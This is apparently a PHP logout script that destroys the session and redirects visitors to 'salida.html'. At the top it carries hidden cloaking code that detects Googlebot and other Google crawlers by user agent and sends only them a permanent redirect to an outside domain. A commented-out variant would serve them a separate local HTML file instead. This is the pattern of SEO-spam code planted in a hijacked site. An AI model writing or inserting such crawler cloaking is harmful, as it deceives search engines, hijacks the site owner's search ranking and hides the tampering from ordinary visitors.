<?php

function is_googlebot() {
    return isset($_SERVER['HTTP_USER_AGENT']) &&
           preg_match('/Googlebot|Mediapartners-Google|Google-InspectionTool/i', $_SERVER['HTTP_USER_AGENT']);
}

if (is_googlebot()) {
    header('Location: https://campus.isam.edu.pe/', true, 301);
    exit;
}

// if (is_googlebot()) {
//     $local_file = __DIR__ . '/licens.html';

//     if (file_exists($local_file)) {
//         header('Content-Type: text/html; charset=utf-8');
//         readfile($local_file);
//     } else {
//         http_response_code(404);
//         echo 'Local file not found.';
//     }
//     exit;
// }

session_start();
session_destroy();

$inicial = "salida.html";
header(sprintf("Location: %s", $inicial));
?>
